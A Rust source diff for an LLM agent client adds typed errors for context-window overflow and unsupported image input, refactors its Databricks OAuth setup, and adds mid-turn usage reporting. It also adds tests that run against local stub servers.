 /// break. `detail` carries the specific cause (status/body, or the transport
@@ -1864,15 +1894,30 @@ where
         // upstream capacity — no retry was attempted, so cumulative duration
         // would be misleading.
         if status == 404 {
+            let error_body = read_error_body(resp).await;
+            if is_unsupported_image_input_error(&error_body) {
+                return Err(PostError::Agent(AgentError::UnsupportedImageInput(
+                    error_body,
+                )));
+            }
             return Err(PostError::Agent(AgentError::LlmModelNotFound(format!(
-                "{status}: {}",
-                read_error_body(resp).await
+                "{status}: {error_body}"
             ))));
         }
         if !status.is_success() {
+            let body = read_error_body(resp).await;
+            // Context-window overflow is a recovery signal, not a terminal
+            // error: classify it here, where status and body are still separate
+            // values. Callers must never re-derive this from the formatted
+            // string — `Llm::complete` stamps the model name onto it before the
+            // agent loop ever sees it.
+            if status == 400 && is_context_length_error(&body) {
+                return Err(PostError::Agent(AgentError::LlmContextExceeded(format!(
+                    "{status}: {body}"
+                ))));
+            }
             return Err(PostError::Agent(AgentError::Llm(format!(
-                "{status}: {}",
-                read_error_body(resp).await
+                "{status}: {body}"
             ))));
         }
         if let Some(len) = resp.content_length() {
@@ -1910,6 +1955,22 @@ where
     unreachable!("loop always returns on its final iteration (attempt + 1 == MAX_RETRIES)");
 }
 
+pub(crate) fn databricks_pkce_config(host: &str) -> PkceOAuthConfig {
+    PkceOAuthConfig {
+        discovery_url: format!(
+            "{}/oidc/.well-known/oauth-authorization-server",
+            host.trim_end_matches('/')
+        ),
+        client_id: DATABRICKS_CLIENT_ID.into(),
+        scopes: DATABRICKS_OAUTH_SCOPES
+            .iter()
+            .map(|scope| (*scope).into())
+            .collect(),
+        cache_namespace: "databricks".into(),
+        cache_dir_override: None,
+    }
+}
+
 /// Build the `TokenSource` for the configured provider.
 ///
 /// - `Provider::Anthropic`: a static source seeded from `cfg.api_key`. It's
@@ -1929,21 +1990,9 @@ pub(crate) fn build_token_source(cfg: &Config) -> Result<Arc<dyn TokenSource>, A
             if !cfg.api_key.is_empty() {
                 return Ok(Arc::new(StaticTokenSource::new(cfg.api_key.clone())));
             }
-            let discovery_url = format!(
-                "{}/oidc/.well-known/oauth-authorization-server",
-                cfg.base_url.trim_end_matches('/')
-            );
-            let pkce = PkceOAuthConfig {
-                discovery_url,
-                client_id: DATABRICKS_CLIENT_ID.into(),
-                scopes: DATABRICKS_OAUTH_SCOPES
-                    .iter()
-                    .map(|s| (*s).into())
-                    .collect(),
-                cache_namespace: "databricks".into(),
-                cache_dir_override: None,
-            };
-            Ok(PkceOAuthTokenSource::new(pkce)?)
+            Ok(PkceOAuthTokenSource::new(databricks_pkce_config(
+                &cfg.base_url,
+            ))?)
         }
     }
 }
@@ -2113,6 +2162,9 @@ async fn openrouter_post(
             // about the model, and reporting a parameter problem as
             // `LlmModelNotFound` (or vice versa) sends the user to the wrong fix.
             let error_body = read_error_body(resp).await;
+            if is_unsupported_image_input_error(&error_body) {
+                return Err(AgentError::UnsupportedImageInput(error_body));
+            }
             if error_body.contains("No endpoints found that can handle the requested parameters") {
                 return Err(openrouter_parameter_routing_error(&error_body));
             }
@@ -2177,10 +2229,15 @@ async fn openrouter_post(
             };
         }
         if !status.is_success() {
-            return Err(AgentError::Llm(format!(
-                "{status}: {}",
-                read_error_body(resp).await
-            )));
+            let body = read_error_body(resp).await;
+            // Same recovery classification as the shared `post()` terminal:
+            // `openrouter_post` is a separate implementation with its own retry
+            // loop and status ladder, so it needs its own arm or OpenRouter
+            // agents keep the permanent context-400 stuck loop.
+            if status == 400 && is_context_length_error(&body) {
+                return Err(AgentError::LlmContextExceeded(format!("{status}: {body}")));
+            }
+            return Err(AgentError::Llm(format!("{status}: {body}")));
         }
         if let Some(len) = resp.content_length() {
             if len as usize > MAX_LLM_RESPONSE_BYTES {
@@ -2483,6 +2540,8 @@ mod tests {
                 });
                 let status_text = match response.status {
                     200 => "OK",
+                    400 => "Bad Request",
+                    413 => "Payload Too Large",
                     500 => "Internal Server Error",
                     502 => "Bad Gateway",
                     503 => "Service Unavailable",
@@ -6014,6 +6073,8 @@ mod tests {
     fn status_line(status: u16) -> &'static str {
         match status {
             200 => "200 OK",
+            400 => "400 Bad Request",
+            413 => "413 Payload Too Large",
             401 => "401 Unauthorized",
             402 => "402 Payment Required",
             403 => "403 Forbidden",
@@ -6127,6 +6188,240 @@ mod tests {
         (url, captured, attempts)
     }
 
+    /// Wren's rider: assert on the error emerging from `complete()` for the
+    /// OpenRouter path, not from `openrouter_post`. The bug was the `?` in the
+    /// provider arm, which is invisible from below — a low-level test can see
+    /// the classification but not whether the arm returns it into the
+    /// convergence mapper. The regression test has to cross the layer that had
+    /// the bug.
+    ///
+    /// Two claims here: the variant is `LlmContextExceeded` (so the agent loop
+    /// can recover), and the message carries the `(model)` stamp (so the arm
+    /// reaches the mapper at all). Measured before the fix: variant was correct
+    /// but UNSTAMPED, which is exactly the bypass Wren named.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openrouter_context_400_is_typed_and_stamped_through_complete() {
+        let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new(
+            400,
+            r#"{"error":{"message":"This model's maximum context length is 8192 tokens","code":"context_length_exceeded"}}"#,
+        )])
+        .await;
+        let mut c = cfg(Provider::OpenRouter);
+        c.base_url = url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err();
+        assert!(
+            matches!(err, AgentError::LlmContextExceeded(_)),
+            "OpenRouter context-window 400 must classify as LlmContextExceeded, got: {err:?}"
+        );
+        let text = err.to_string();
+        assert!(
+            text.contains("or-model-xyz"),
+            "OpenRouter arm must return into the convergence mapper so the model stamp is \
+             applied; got: {text}"
+        );
+    }
+
+    /// Same two claims on the Anthropic arm — the other `?` Wren named, and the
+    /// other terminal's provider phrasing ("prompt is too long").
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn anthropic_context_400_is_typed_and_stamped_through_complete() {
+        let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 400,
+            body: json!({"type":"error","error":{"type":"invalid_request_error","message":"prompt is too long: 300000 tokens > 200000 maximum"}}),
+        }])
+        .await;
+        let mut c = cfg(Provider::Anthropic);
+        c.base_url = base_url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "claude-probe-model")
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, AgentError::LlmContextExceeded(_)),
+            "Anthropic context-window 400 must classify as LlmContextExceeded, got: {err:?}"
+        );
+        let text = err.to_string();
+        assert!(
+            text.contains("claude-probe-model"),
+            "Anthropic arm must return into the convergence mapper so the model stamp is \
+             applied; got: {text}"
+        );
+    }
+
+    /// Negative arm for the OpenRouter terminal: an ordinary 400 must stay
+    /// `AgentError::Llm`. Paired with the positive above, this is what proves
+    /// the matcher — not the status alone — is doing the classification. The
+    /// body deliberately quotes "tokens" and "model", the words a loose matcher
+    /// would key on.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openrouter_ordinary_400_stays_plain_llm_error() {
+        let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new(
+            400,
+            r#"{"error":{"message":"Invalid value for 'max_tokens': must be an integer for this model","code":"invalid_value"}}"#,
+        )])
+        .await;
+        let mut c = cfg(Provider::OpenRouter);
+        c.base_url = url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err();
+        assert!(
+            matches!(err, AgentError::Llm(_)),
+            "an ordinary 400 must stay a terminal AgentError::Llm, got: {err:?}"
+        );
+    }
+
+    /// Negative arm for the shared `post()` terminal (OpenAI/Databricks), the
+    /// second of the two `!status.is_success()` sites. Same body as the
+    /// OpenRouter negative so the two terminals are compared on equal input.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openai_ordinary_400_stays_plain_llm_error() {
+        let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 400,
+            body: json!({"error":{"message":"Invalid value for 'max_tokens': must be an integer for this model","code":"invalid_value"}}),
+        }])
+        .await;
+        let mut c = cfg(Provider::OpenAi);
+        c.base_url = base_url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "gpt-probe-model")
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, AgentError::Llm(_)),
+            "an ordinary 400 must stay a terminal AgentError::Llm, got: {err:?}"
+        );
+    }
+
+    /// Positive arm for the shared `post()` terminal: OpenAI's machine-readable
+    /// `context_length_exceeded` code classifies as recoverable.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openai_context_400_is_typed_through_complete() {
+        let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 400,
+            body: json!({"error":{"message":"This model's maximum context length is 8192 tokens.","type":"invalid_request_error","code":"context_length_exceeded"}}),
+        }])
+        .await;
+        let mut c = cfg(Provider::OpenAi);
+        c.base_url = base_url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "gpt-probe-model")
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, AgentError::LlmContextExceeded(_)),
+            "OpenAI context-window 400 must classify as LlmContextExceeded, got: {err:?}"
+        );
+        assert!(
+            err.to_string().contains("gpt-probe-model"),
+            "expected the convergence mapper's model stamp, got: {err}"
+        );
+    }
+
+    /// A context-window 400 must NOT trip the Responses-API auto-upgrade. True
+    /// by construction — `try_upgrade` matches only `AgentError::Llm` and the
+    /// typed variant can never reach it — but asserted because the guarantee
+    /// lives in a pattern match one refactor away from widening, and a silent
+    /// sticky upgrade would reroute every later OpenAI call for the process.
+    ///
+    /// `openai_api = Auto` is load-bearing in BOTH arms: `try_upgrade` is only
+    /// consulted under `Auto` (`llm.rs:587`), so with the test helper's default
+    /// `Chat` the upgrade path is disabled outright and the negative below would
+    /// pass without observing anything. The control caught exactly that.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn context_400_does_not_trip_responses_upgrade() {
+        let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 400,
+            body: json!({"error":{"message":"This model's maximum context length is 8192 tokens.","code":"context_length_exceeded"}}),
+        }])
+        .await;
+        let mut c = cfg(Provider::OpenAi);
+        c.base_url = base_url;
+        c.openai_api = OpenAiApi::Auto;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "gpt-probe-model")
+            .await
+            .unwrap_err();
+        assert!(matches!(err, AgentError::LlmContextExceeded(_)));
+        assert!(
+            !llm.auto_upgraded.load(Ordering::Relaxed),
+            "a context-window 400 must not latch the Responses-API upgrade"
+        );
+        // Positive control: the same helper DOES latch on a genuine
+        // "use the Responses API" error, so the negative above is a real
+        // observation and not a probe that can never fire.
+        let (base_url2, _c2) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 400,
+            body: json!({"error":{"message":"This model is only supported in /v1/responses"}}),
+        }])
+        .await;
+        let mut c2 = cfg(Provider::OpenAi);
+        c2.base_url = base_url2;
+        c2.openai_api = OpenAiApi::Auto;
+        let llm2 = Llm::new(&c2).unwrap();
+        let _ = complete_model(&llm2, &c2, "gpt-probe-model").await;
+        assert!(
+            llm2.auto_upgraded.load(Ordering::Relaxed),
+            "control: a genuine Responses-API error must latch the upgrade"
+        );
+    }
+
+    /// The `status == 400` conjunct is load-bearing, not belt-and-braces: the
+    /// recovery ladder is only a correct response to an INPUT-SIZE rejection.
+    /// A 403 whose body happens to quote context-window prose (a guardrail
+    /// echoing the request, say) is a permission failure — shrinking history
+    /// cannot fix it, so classifying it as recoverable would burn the whole
+    /// recovery budget on three doomed summarize round-trips and turn a clear
+    /// immediate error into a slow one.
+    ///
+    /// 413 (Payload Too Large) is the right probe status, and picking it took a
+    /// measurement: my first attempt used 403, which BOTH ladders intercept
+    /// earlier (shared `post()` maps 401/403 to `LlmAuth`; `openrouter_post()`
+    /// has its own 403 arm), so those probes never reached the classification
+    /// site at all and the mutant with the conjunct deleted survived them. 413
+    /// is intercepted by neither ladder, so it reaches the same
+    /// `!status.is_success()` terminal the 400 does — and it is the most
+    /// plausible real-world carrier of size prose on a non-400. One arm per
+    /// terminal site.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openai_413_with_context_prose_is_not_recoverable() {
+        let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse {
+            status: 413,
+            body: json!({"error":{"message":"payload too large: this model's maximum context length is 8192 tokens"}}),
+        }])
+        .await;
+        let mut c = cfg(Provider::OpenAi);
+        c.base_url = base_url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "gpt-probe-model")
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, AgentError::Llm(_)),
+            "only a 400 may classify as a context overflow; a 413 must stay terminal, got: \
+             {err:?}"
+        );
+    }
+
+    /// Same claim at the OpenRouter terminal, which has its own status ladder.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openrouter_413_with_context_prose_is_not_recoverable() {
+        let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new(
+            413,
+            r#"{"error":{"message":"payload too large: this model's maximum context length is 8192 tokens"}}"#,
+        )])
+        .await;
+        let mut c = cfg(Provider::OpenRouter);
+        c.base_url = url;
+        let llm = Llm::new(&c).unwrap();
+        let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err();
+        assert!(
+            matches!(err, AgentError::Llm(_)),
+            "only a 400 may classify as a context overflow; a 413 must stay terminal, got: \
+             {err:?}"
+        );
+    }
+
     /// A 403 (guardrail/moderation/permission rejection, per OpenRouter docs)
     /// must NOT be classified as `LlmAuth`: refreshing a static key returns
     /// the identical key, so retrying would just waste a duplicate request.
@@ -6213,6 +6508,34 @@ mod tests {
         );
     }
 
+    /// A provider's explicit image-capability rejection is a recoverable typed
+    /// error, not a missing model. The agent loop uses this signal to remove the
+    /// image from history before retrying the next LLM round.
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn openrouter_post_404_unsupported_image_is_typed_and_not_retried() {
+        let (url, _captured, attempts) = spawn_openrouter_stub(vec![CannedResponse::new(
+            404,
+            r#"{"error":{"message":"No endpoints found that support image input"}}"#,
+        )])
+        .await;
+        let http = Client::builder()
+            .timeout(Duration::from_secs(5))
+            .build()
+            .unwrap();
+        let err = openrouter_post(&http, &format!("{url}/x"), &json!({}), "key")
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(&err, AgentError::UnsupportedImageInput(s) if s.contains("support image input")),
+            "image rejection must reach the history-recovery path: got {err:?}"
+        );
+        assert_eq!(
+            attempts.load(std::sync::atomic::Ordering::SeqCst),
+            1,
+            "a deterministic capability rejection must not be retried"
+        );
+    }
+
     /// Every other 404 still maps to `LlmModelNotFound`, including one that
     /// shares the `No endpoints found` prefix but is about the model rather than
     /// the parameters — the discriminator is narrow enough that a genuinely
diff --git a/crates/buzz-agent/src/types.rs b/crates/buzz-agent/src/types.rs
index 343a75bf72..4a856f7a87 100644
--- a/crates/buzz-agent/src/types.rs
+++ b/crates/buzz-agent/src/types.rs
@@ -308,6 +308,30 @@ impl TurnTotalState {
     }
 }
 
+/// The session-cumulative usage counters as of the START of a turn.
+///
+/// Copied out of the session under the lock when a turn begins and handed to
+/// `RunCtx` by value, so the run loop can emit a cumulative `usage_update`
+/// after every LLM round without reaching back into `App.sessions` (which it
+/// holds no handle to, and which is locked by the turn's own bookkeeping at
+/// both ends).
+///
+/// This exists so that usage is durable *during* a turn rather than only after
+/// it. The counters a turn accrues live in the prompt task's stack frame until
+/// the turn returns; a process killed mid-turn takes them with it and the
+/// tokens are billed by the provider but recorded nowhere. That is not
+/// hypothetical — it silently under-reported a long-horizon benchmark's cost by
+/// several-fold, because every phase of a `continue_until_timeout` run is
+/// terminated mid-turn by design.
+#[derive(Debug, Clone, Copy, Default)]
+pub struct SessionUsageBaseline {
+    pub input_tokens: u64,
+    pub output_tokens: u64,
+    /// The cache-served subset of `input_tokens`, not an addition to it.
+    pub cached_input_tokens: u64,
+    pub total_state: TurnTotalState,
+}
+
 #[derive(Debug, Clone, Copy, PartialEq)]
 pub enum StopReason {
     EndTurn,
@@ -364,6 +388,22 @@ pub enum AgentError {
     Llm(String),
     LlmAuth(String),
     LlmModelNotFound(String),
+    /// The provider rejected the request because the input exceeded the
+    /// model's context window (an HTTP 400 whose body names a context-length
+    /// overflow). Typed rather than folded into [`Self::Llm`] because the
+    /// agent loop treats it as a *recovery* signal, not a terminal error: it
+    /// is the only ground-truth indication that history must shrink, needing
+    /// no window estimate that could itself be miscalibrated.
+    ///
+    /// Classified where the HTTP status and body are still separate values, so
+    /// the loop never has to sniff a formatted string — by the time an error
+    /// leaves `Llm::complete` it has already been decorated with the model
+    /// name.
+    LlmContextExceeded(String),
+    /// The provider explicitly rejected image content for the selected model.
+    /// Kept distinct so the agent loop can remove the unsupported image from
+    /// replayed history and give the model a recoverable tool error.
+    UnsupportedImageInput(String),
     Mcp(String),
     Cancelled,
 }
@@ -375,6 +415,8 @@ impl std::fmt::Display for AgentError {
             Self::Llm(s) => write!(f, "llm: {s}"),
             Self::LlmAuth(s) => write!(f, "llm auth: {s}"),
             Self::LlmModelNotFound(s) => write!(f, "llm model not found: {s}"),
+            Self::LlmContextExceeded(s) => write!(f, "llm context exceeded: {s}"),
+            Self::UnsupportedImageInput(s) => write!(f, "llm image input unsupported: {s}"),
             Self::Mcp(s) => write!(f, "mcp: {s}"),
             Self::Cancelled => write!(f, "cancelled"),
         }
diff --git a/crates/buzz-agent/src/wire.rs b/crates/buzz-agent/src/wire.rs
index 7b50e7982a..634fca03af 100644
--- a/crates/buzz-agent/src/wire.rs
+++ b/crates/buzz-agent/src/wire.rs
@@ -148,6 +148,48 @@ pub fn goose_session_update(sid: &str, update: Value) -> Value {
     })
 }
 
+/// Build the `usage_update` payload for a `_goose/unstable/session/update`.
+///
+/// Shared by the two places that report usage — after each LLM round inside a
+/// turn, and once more when the turn completes — so the wire shape cannot drift
+/// between them. A consumer takes the high-water mark per session, so the
+/// mid-turn payloads are supersets of each other and the final one wins; a
+/// divergence in field names or units between the two call sites would instead
+/// show up as tokens silently vanishing, which is the failure this reporting
+/// exists to prevent.
+///
+/// All counts are SESSION-cumulative, matching goose, so buzz-acp's
+/// `UsageTracker` can compute per-turn deltas symmetrically for both agents.
+pub fn usage_update_payload(
+    accumulated_input_tokens: u64,
+    accumulated_output_tokens: u64,
+    accumulated_cached_input_tokens: u64,
+    accumulated_total: crate::types::TurnTotalState,
+    model: &str,
+) -> Value {
+    let mut update = json!({
+        "sessionUpdate": "usage_update",
+        // used: total tokens as a context-usage proxy;
+        // contextLimit: 0 (buzz-agent has no context limit tracking).
+        "used": accumulated_input_tokens.saturating_add(accumulated_output_tokens),
+        "contextLimit": 0u64,
+        "accumulatedInputTokens": accumulated_input_tokens,
+        "accumulatedOutputTokens": accumulated_output_tokens,
+        // A subset of accumulatedInputTokens, not an addition to it. Extends
+        // goose's usage_update shape; a consumer that does not know the field
+        // ignores it and prices exactly as it did before.
+        "accumulatedCachedInputTokens": accumulated_cached_input_tokens,
+        "model": model,
+    });
+    // Only when the cumulative is exactly known — never when Unseen (no total
+    // ever observed) or Unknown (at least one turn lacked a total). A goose
+    // consumer that doesn't recognise the field ignores it.
+    if let Some(total) = accumulated_total.exact_value() {
+        update["accumulatedTotalTokens"] = json!(total);
+    }
+    update
+}
+
 /// A `session/update` notification carrying a `update._meta.goose.<key>` field.
 /// Used to advertise `activeRunId` (so steer-capable clients can target the
 /// in-flight run) and `queuedSteer` (so they can correlate an accepted steer
diff --git a/crates/buzz-agent/tests/bin/fake_mcp.rs b/crates/buzz-agent/tests/bin/fake_mcp.rs
index 5b660da48c..1b7f346162 100644
--- a/crates/buzz-agent/tests/bin/fake_mcp.rs
+++ b/crates/buzz-agent/tests/bin/fake_mcp.rs
@@ -12,6 +12,7 @@
 //!                              (use a large value, e.g. 999, to simulate hang)
 //!   FAKE_MCP_RESULT_SIZE=N   — `tools/call` returns an N-byte text result
 //!                              (default: the literal "ok"); grows history
+//!   FAKE_MCP_IMAGE_RESULT=1  — `tools/call` returns text plus a PNG image block
 //!   FAKE_MCP_PID_FILE=path   — write the child PID to `path` on startup
 //!                              (for tests that want to verify the child died)
 //!   FAKE_MCP_SPAWN_GRANDCHILD=1
@@ -300,10 +301,18 @@ fn main() {
                 } else {
                     "ok".to_owned()
                 };
+                let content = if env_flag("FAKE_MCP_IMAGE_RESULT") {
+                    json!([
+                        { "type": "text", "text": result_text },
+                        { "type": "image", "data": "aW1n", "mimeType": "image/png" },
+                    ])
+                } else {
+                    json!([{ "type": "text", "text": result_text }])
+                };
                 write_response(
                     id,
                     json!({
-                        "content": [{ "type": "text", "text": result_text }],
+                        "content": content,
                         "isError": false,
                     }),
                 );
diff --git a/crates/buzz-agent/tests/databricks_oauth.rs b/crates/buzz-agent/tests/databricks_oauth.rs
index 52acee1076..fbe0dc1f86 100644
--- a/crates/buzz-agent/tests/databricks_oauth.rs
+++ b/crates/buzz-agent/tests/databricks_oauth.rs
@@ -20,6 +20,7 @@ use axum::{routing::get, routing::post, Json, Router};
 use buzz_agent::auth::{PkceOAuthConfig, PkceOAuthTokenSource, TokenSource};
 use serde::Deserialize;
 use serde_json::json;
+use sha2::{Digest, Sha256};
 use tempfile::TempDir;
 
 #[derive(Deserialize)]
@@ -457,6 +458,7 @@ struct AgentHarness {
     stdin: tokio::process::ChildStdin,
     stdout: BufReader<tokio::process::ChildStdout>,
     next_id: i64,
+    _home: Option<TempDir>,
 }
 
 impl Drop for AgentHarness {
@@ -467,20 +469,65 @@ impl Drop for AgentHarness {
 
 impl AgentHarness {
     async fn spawn_provider(provider: &str, base_url: &str, model: &str) -> Self {
+        Self::spawn_provider_with_options(provider, base_url, model, 1, Some("test-bearer")).await
+    }
+
+    async fn spawn_oauth_provider(
+        provider: &str,
+        base_url: &str,
+        model: &str,
+        max_sessions: usize,
+    ) -> Self {
+        Self::spawn_provider_with_options(provider, base_url, model, max_sessions, None).await
+    }
+
+    async fn spawn_provider_with_max_sessions(
+        provider: &str,
+        base_url: &str,
+        model: &str,
+        max_sessions: usize,
+    ) -> Self {
+        Self::spawn_provider_with_options(
+            provider,
+            base_url,
+            model,
+            max_sessions,
+            Some("test-bearer"),
+        )
+        .await
+    }
+
+    async fn spawn_provider_with_options(
+        provider: &str,
+        base_url: &str,
+        model: &str,
+        max_sessions: usize,
+        token: Option<&str>,
+    ) -> Self {
         let bin = env!("CARGO_BIN_EXE_buzz-agent");
+        let home = token
+            .is_none()
+            .then(|| TempDir::new().expect("create isolated OAuth home"));
         let mut cmd = tokio::process::Command::new(bin);
         cmd.env("BUZZ_AGENT_PROVIDER", provider)
             .env("DATABRICKS_HOST", base_url)
             .env("DATABRICKS_MODEL", model)
-            .env("DATABRICKS_TOKEN", "test-bearer")
+            .env_remove("DATABRICKS_TOKEN")
             .env("BUZZ_AGENT_LLM_TIMEOUT_SECS", "5")
             .env("BUZZ_AGENT_TOOL_TIMEOUT_SECS", "5")
             .env("BUZZ_AGENT_MAX_ROUNDS", "2")
+            .env("BUZZ_AGENT_MAX_SESSIONS", max_sessions.to_string())
             .env("BUZZ_AGENT_MCP_INIT_TIMEOUT_SECS", "2")
             .stdin(Stdio::piped())
             .stdout(Stdio::piped())
             .stderr(Stdio::null())
             .kill_on_drop(true);
+        if let Some(token) = token {
+            cmd.env("DATABRICKS_TOKEN", token);
+        }
+        if let Some(home) = &home {
+            cmd.env("HOME", home.path());
+        }
         let mut child = cmd.spawn().expect("spawn buzz-agent");
         let stdin = child.stdin.take().unwrap();
         let stdout = BufReader::new(child.stdout.take().unwrap());
@@ -489,9 +536,17 @@ impl AgentHarness {
             stdin,
             stdout,
             next_id: 1,
+            _home: home,
         }
     }
 
+    fn oauth_home(&self) -> &std::path::Path {
+        self._home
+            .as_ref()
+            .expect("harness was not started in OAuth mode")
+            .path()
+    }
+
     async fn send(&mut self, method: &str, params: serde_json::Value) -> i64 {
         let id = self.next_id;
         self.next_id += 1;
@@ -938,3 +993,288 @@ async fn session_set_model_empty_model_id_returns_error() {
         "error message must mention modelId, got: {msg}"
     );
 }
+
+#[tokio::test]
+async fn model_discovery_surfaces_rejected_static_token_as_auth_failure() {
+    use axum::http::StatusCode;
+    use buzz_agent::config::{Config, Provider};
+    use buzz_agent::discover_databricks_models;
+
+    let requests = Arc::new(AtomicU64::new(0));
+    let requests_for_route = requests.clone();
+    let listener = tokio::net::TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0)))
+        .await
+        .unwrap();
+    let host = format!("http://{}", listener.local_addr().unwrap());
+    let app = Router::new().route(
+        "/api/ai-gateway/v2/endpoints",
+        get(move || {
+            let requests = requests_for_route.clone();
+            async move {
+                requests.fetch_add(1, Ordering::SeqCst);
+                (StatusCode::UNAUTHORIZED, "rejected bearer rejected")
+            }
+        }),
+    );
+    tokio::spawn(async move {
+        let _ = axum::serve(listener, app).await;
+    });
+
+    let cfg = Config::for_discovery(Provider::DatabricksV2, "rejected".into(), host);
+    let error = discover_databricks_models(&cfg).await.unwrap_err();
+
+    assert!(
+        error.to_string().starts_with("llm auth:"),
+        "401 must retain auth semantics: {error}"
+    );
+    assert!(
+        !error.to_string().contains("rejected bearer"),
+        "auth errors must not propagate provider bodies that may echo credentials: {error}"
+    );
+    assert_eq!(
+        requests.load(Ordering::SeqCst),
+        1,
+        "a static token cannot refresh, so discovery must not issue a duplicate request"
+    );
+}
+
+fn databricks_oauth_cache_path(home: &std::path::Path, host: &str) -> std::path::PathBuf {
+    let discovery_url = format!(
+        "{}/oidc/.well-known/oauth-authorization-server",
+        host.trim_end_matches('/')
+    );
+    let mut hasher = Sha256::new();
+    hasher.update(discovery_url.as_bytes());
+    hasher.update(b"|");
+    hasher.update(b"databricks-cli");
+    hasher.update(b"|");
+    hasher.update(b"all-apis,offline_access");
+    let hash = hex::encode(hasher.finalize());
+    home.join(".config")
+        .join("buzz-agent")
+        .join("oauth")
+        .join("databricks")
+        .join(format!("{hash}.json"))
+}
+
+fn write_cached_oauth_token(home: &std::path::Path, host: &str, access_token: &str) {
+    let path = databricks_oauth_cache_path(home, host);
+    std::fs::create_dir_all(path.parent().unwrap()).unwrap();
+    std::fs::write(
+        path,
+        serde_json::to_vec(&json!({
+            "access_token": access_token,
+            "refresh_token": null,
+            "expires_at": SystemTime::now()
+                .duration_since(UNIX_EPOCH)
+                .unwrap()
+                .as_secs()
+                + 3600,
+        }))
+        .unwrap(),
+    )
+    .unwrap();
+}
+
+#[tokio::test]
+async fn oauth_missing_token_uses_configured_model_then_retries_discovery() {
+    let attempts = Arc::new(AtomicU64::new(0));
+    let attempts_for_route = attempts.clone();
+    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let host = format!("http://{}", listener.local_addr().unwrap());
+    let app = Router::new().route(
+        "/api/ai-gateway/v2/endpoints",
+        get(move || {
+            let attempts = attempts_for_route.clone();
+            async move {
+                attempts.fetch_add(1, Ordering::SeqCst);
+                Json(json!({
+                    "endpoints": [{"name": "authenticated-model"}],
+                    "next_page_token": null,
+                }))
+            }
+        }),
+    );
+    tokio::spawn(async move {
+        let _ = axum::serve(listener, app).await;
+    });
+
+    let configured_model = "  configured-model  ";
+    let mut h =
+        AgentHarness::spawn_oauth_provider("databricks_v2", &host, configured_model, 2).await;
+    let initialize = h
+        .send(
+            "initialize",
+            json!({ "protocolVersion": 1, "clientCapabilities": {} }),
+        )
+        .await;
+    assert!(h.recv_for(initialize).await.get("result").is_some());
+
+    let first = h
+        .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] }))
+        .await;
+    let first_response = h.recv_for(first).await;
+    assert!(
+        first_response["result"]["sessionId"].is_string(),
+        "missing OAuth token blocked session creation: {first_response}"
+    );
+    assert_eq!(
+        first_response["result"]["models"]["availableModels"],
+        json!([{"modelId": "configured-model", "name": "configured-model"}])
+    );
+    assert_eq!(attempts.load(Ordering::SeqCst), 0);
+
+    write_cached_oauth_token(h.oauth_home(), &host, "cached-bearer");
+
+    let second = h
+        .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] }))
+        .await;
+    let second_response = h.recv_for(second).await;
+    assert!(
+        second_response["result"]["sessionId"].is_string(),
+        "later authenticated session failed: {second_response}"
+    );
+    assert_eq!(
+        second_response["result"]["models"]["availableModels"],
+        json!([{"modelId": "authenticated-model", "name": "authenticated-model"}])
+    );
+    assert_eq!(
+        attempts.load(Ordering::SeqCst),
+        1,
+        "OAuth fallback was cached instead of retrying discovery"
+    );
+}
+
+#[tokio::test]
+async fn non_auth_discovery_failure_uses_configured_model_without_caching_fallback() {
+    use axum::http::StatusCode;
+
+    let attempts = Arc::new(AtomicU64::new(0));
+    let attempts_for_route = attempts.clone();
+    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let host = format!("http://{}", listener.local_addr().unwrap());
+    let app = Router::new().route(
+        "/api/ai-gateway/v2/endpoints",
+        get(move || {
+            let attempts = attempts_for_route.clone();
+            async move {
+                attempts.fetch_add(1, Ordering::SeqCst);
+                (StatusCode::SERVICE_UNAVAILABLE, "catalog unavailable")
+            }
+        }),
+    );
+    tokio::spawn(async move {
+        let _ = axum::serve(listener, app).await;
+    });
+
+    let configured_model = "  configured-model  ";
+    let normalized_configured_model = configured_model.trim();
+    let mut h =
+        AgentHarness::spawn_provider_with_max_sessions("databricks_v2", &host, configured_model, 2)
+            .await;
+    let initialize = h
+        .send(
+            "initialize",
+            json!({ "protocolVersion": 1, "clientCapabilities": {} }),
+        )
+        .await;
+    assert!(h.recv_for(initialize).await.get("result").is_some());
+
